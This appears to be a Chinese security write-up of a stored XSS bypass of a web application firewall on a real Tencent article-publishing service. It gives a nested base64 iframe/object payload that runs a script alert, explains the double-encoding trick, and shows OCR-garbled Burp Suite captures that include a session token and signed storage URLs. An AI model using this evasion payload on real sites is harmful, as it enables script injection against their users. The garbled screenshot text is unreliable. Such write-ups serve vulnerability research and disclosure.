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写一篇文章，直接发布抓包
我们将content参数内容替换成我们绕waf的poc
<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>
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绕过思路：
通过bypass+bypass绕过
也就是对object进行base64输出
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgneXVlcWl1Jyk8L3NjcmlwdD4=></object>然后在吧Object标签转换成base64放到iframe进行base64输出
[image: ]
image1.png
LER S

2583520210823
925833925833

E4%1$20210823

hiEH5$£20210823
925833925833

2583520210823
925833925833

EH51£20210823
925833925833

iEH5$£20210823
925833925833

2581520210823
925833925833

o

&iE





image2.png
182 Burp Suite Professional v2.Obeta - Temporary Project - licensed to surferxyz11
Burp Project Intruder Repeater Window Help

[ pasnboard | Target | proxy ] Intruder - Sequencer [ Decoder ] Comparer | Extender | Projectoptions | User options |

17 [18x [19« [0 21« [22« x B

]ux]nx

[® |5 [» [o [2 |5 % |% J[» (7

T38 ~

ox [ s T

e e [ we | e [ owe ]

16 -

nx{mx]uxIu,1..4.54‘;4‘“]‘“1‘.,15“15“]5”{5“]5“155,-5“15“[“4»4...

caa

Request

Params | Headers | Hex

Target:htps:banm.aa.com 2 (2)
Response

He

POST O
1VUFP30g. MYCrB&openld=oNESSagSgF KaTYdz

NSRLiFulMg&token=611875F-B295686401A6-38038sign=BAGF 84CIDEACEI42C 2AAIAGE 1 BTOFDSD&

1=1629722617016 HTTP/1 1

Host luban.m.qq.com

Content-Type: applicationjson

Connection: close

Accept 1+

User-Agent TeamGallery/1110 CFNetwork/t

Content-Length: 1251

Accept-Language: zh-cn

Accept-Encoding: gzip, deflats

(teamic40789533 "EBRERR * <itrame
sre=rdatatexthimibase64,PGSIamVIdCEKXRhPWRNGGEAGVAGC0dG1 S02Ic2UINCHOSESaY21 562
[RENWhIR1ZSZENnbmVYVmxV2wxSnirOEwZTmpjbWx3ZEQOPT48L29iamVjdD4=\"></iframe><p><br><Vp>

HTTPIT1 200 0K
Sever. ngink

Date: Mon, 23 Aug 2021 14:27:52 GMT

ContentType: applicationjson; charset=utt-8
Content-Length: 593

Connection: close

xrequestid: 7703824-asb-4ddc-abc-5b045183bc7d
Access-ControkAllow-Credentials: true
Access-ControkAllow-Origin

Access-C 5: Content Type,
Authorzaton, Sec-Fetch-Dest, lubanappsscret, lubanappid
‘Access-Controk-Allow-Methods: GET, HEAD, PUT, POST, DELETE, PATCH, OPTIONS

Origin, User-Agent, Referer,

{"cods™0,"success" frue, msg" ™ "data"{"articleld"*xF 7I¥pc4yDs="""versionCode"2"download"true "share.
Link”] seanUrr“hitps tools.
| 3g.90.comiar UTF-88erorCt 8

2width=1308height=1 1

" "Sublitie"*925833025833" tile" i L 41442021 0823 "has Edited” true st [ ur*htps
1252181758 c0s.ap-guangzhou myacloud comy1 875810681VADSF 7 5EB5997 26 3E6TEDEATBADAAD0525
95A1BF1.png?sign=-sign-algorithm®% 3Dsha1 % 26a-ak% 3DAKIDKXeZG25DevxgcFHIQMMBJIGIDXtdPe

%260-510n-1ime% 3D1629722548% 3816297261 48% 260-key imes 3D1 6297 22548% 3816297261 48%26.

q-header-lst%3D%260-urkparam-lst%3D% 264-signatures 301 431 06042a1 56122500 2a309458688¢1 78
5¢53708imageMograVauto-orient."sha"*4DSF75EB5997 26 3E67EDEATBAD4ADO52595A1 BF 1" "ype” 0} "
urhtps:Wisamision-1 252181758 cos, ap-guangzhou myqcloud comV1 87581 0681VADSF 75E85997263

[E87EDE478AD4ADO52595A1BF1 png?sign=a-sign-algorithm 3Dshat %26q-ak% 3DAKIDKXeQZGZ5DCv2x
9cFHBQMMBJIGIDXIIPE %264 51gn-ime% 3016297 22548% 3816297261 48% 260-key-times 30162972254
8%3B1629726148%260-headsr-Iist%3D%264-urk param-lst%3D%260-signaturess 3D1 d3106042a158122
5012a309458688¢1785¢53708imageMogr2Vauto-orient "sha' *4DSF 75EB5997 26 JEBTEDE4TBADAADOS

2595A1F 1"ype"0]|"ype":1 VersionCods™0)

v

0matches

© @@ E e

Done

3A%2F % 2F1 99.comS%2F spreagg#fF previewArticle 2articleld=xF7IYpc4yDs%3D
%26fom=scan' "editor" [ nickname"*0x01","head_urr pips Mhirdwx.alogo.crimmopenid_32xAey06Kad
NGEdcJpVmbdmF hWYUIRIbBPpTW7 ecWkiaPOsOLMHIKDSbhMyualchRUNM1 Y0z50S DVR7mEVYZ3TO!
1327 Mag"2))

v

0matches.

0 @@@ [

1,111 bytes | 142 millis




image3.png
som/spread/previewArticle?articleld=8fAhfdFYUIc%3D.

IR LA RS

LR





image4.png
BaseB4IN——— ——— Base64#itt

<object 'PGOianV JdCBKYXRhPWRhAGEGAGV4dC0dG1 s02]he2U2NCxQ
data=data: text/htnl ;base64, PHNjenlwdD3hbGVydCgne SE5qY21 502RENWh RIZ5ZENnbu ¥Vins jV2wxSn L rOwzTup j
XVICWLLIykBL3N jenlwdD4=></object bWx3ZEQOPT4SL291anV jdD4=





